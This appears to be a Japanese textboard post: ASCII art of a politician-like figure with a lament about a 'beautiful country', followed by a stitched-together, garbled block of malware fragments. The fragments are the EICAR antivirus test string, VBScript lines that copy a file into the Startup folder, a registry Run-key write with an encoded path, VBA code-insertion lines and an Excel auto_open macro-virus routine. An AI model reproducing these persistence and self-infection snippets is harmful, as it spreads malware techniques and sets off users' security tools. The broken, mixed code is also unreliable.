,ィZ三三二ニ== 、、
:. ,. --{シイィ彡彡三三三ミ丶、 :.
,イィ三ミ>'"´ __,,  ̄`丶ミミミミヽ
/シ彡シ'´ _ ,ニ_二 三‐`、 `ヾミミミヽ
:. ,'ilif'彡' ,' _,..-ュ ̄ fニ三三ミヽヾミミミヽ :.
jlリイ彡! :,ィ彡'"´ :. :. .:' `゙' ヾミミミミ',
l{i{l{lノリ ,'fi´ _, i :. ';=―一 ',ミミミミ! :.
:. {lilili/{ ' ,.-‐'"´,:,! ' 、ー-‐ ' Nlハ⊥
|lilifリハ .: '、 _,.ノ,' ,. }、 tf{´i, l|
. Wリ小! .: ,ゝ^ :: ヽ `!) Vl :.
ゞ干ミ} : / _J_ 丶 }'´ / 美しい国を作っていたはずなのになんですかコレは
:. '、Yヾ :. l /ィ三三シ'^ / ノ 私はがんばっていたのにこういう事があったんですか・・・
ヾ.f'、:.:. '´ '"~"' /l'´ :. それでも
>>1を助けて欲しい私の望みです
ヽ._):.:.、 ,. ' l
トi、ヾ:.. 、 _,. - ' |
:. rィイ | :.:.ヽ: >r/`<ノ .:.::.}ヽ、 :.
∧l;l ! :.:.:.://{二 ̄ .} ..:..::リ//ハ.
:. {. ',ヾ、ヽi .:.:.{ /(^` |.:.:.:.//: : :.}: .:.
) ヽ ヾ、ヽ:.ハ ヤ{ ∧/.-‐'": : |
} : :\ヾレ'ハ ∧__ノノハヾ、 : : : l:
ヽ : : :i Y {ヾ`Yヽニン'ノ}: : } : : : :/
|_,ィ' ̄ ヽ三{ `ー-ノ : イ : : :/
V : : ヘ : : {: : :/:
ヽ : : :人 : : : / \ :.
ヽ : : : : :/イ{ :.ノ: : : :.\ :.
:. \__///: :\______/: : : : : : : ヽ
/ //: : :|;|: : : : : : i: : : __: : : : ',
:. / 、 {;{ |;| . : i/. : : : : : :|
/ `Y;{. . . .|;|. : : : /i: : : : : : : : :l
Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub
܃ܷܵܶޫޭॢ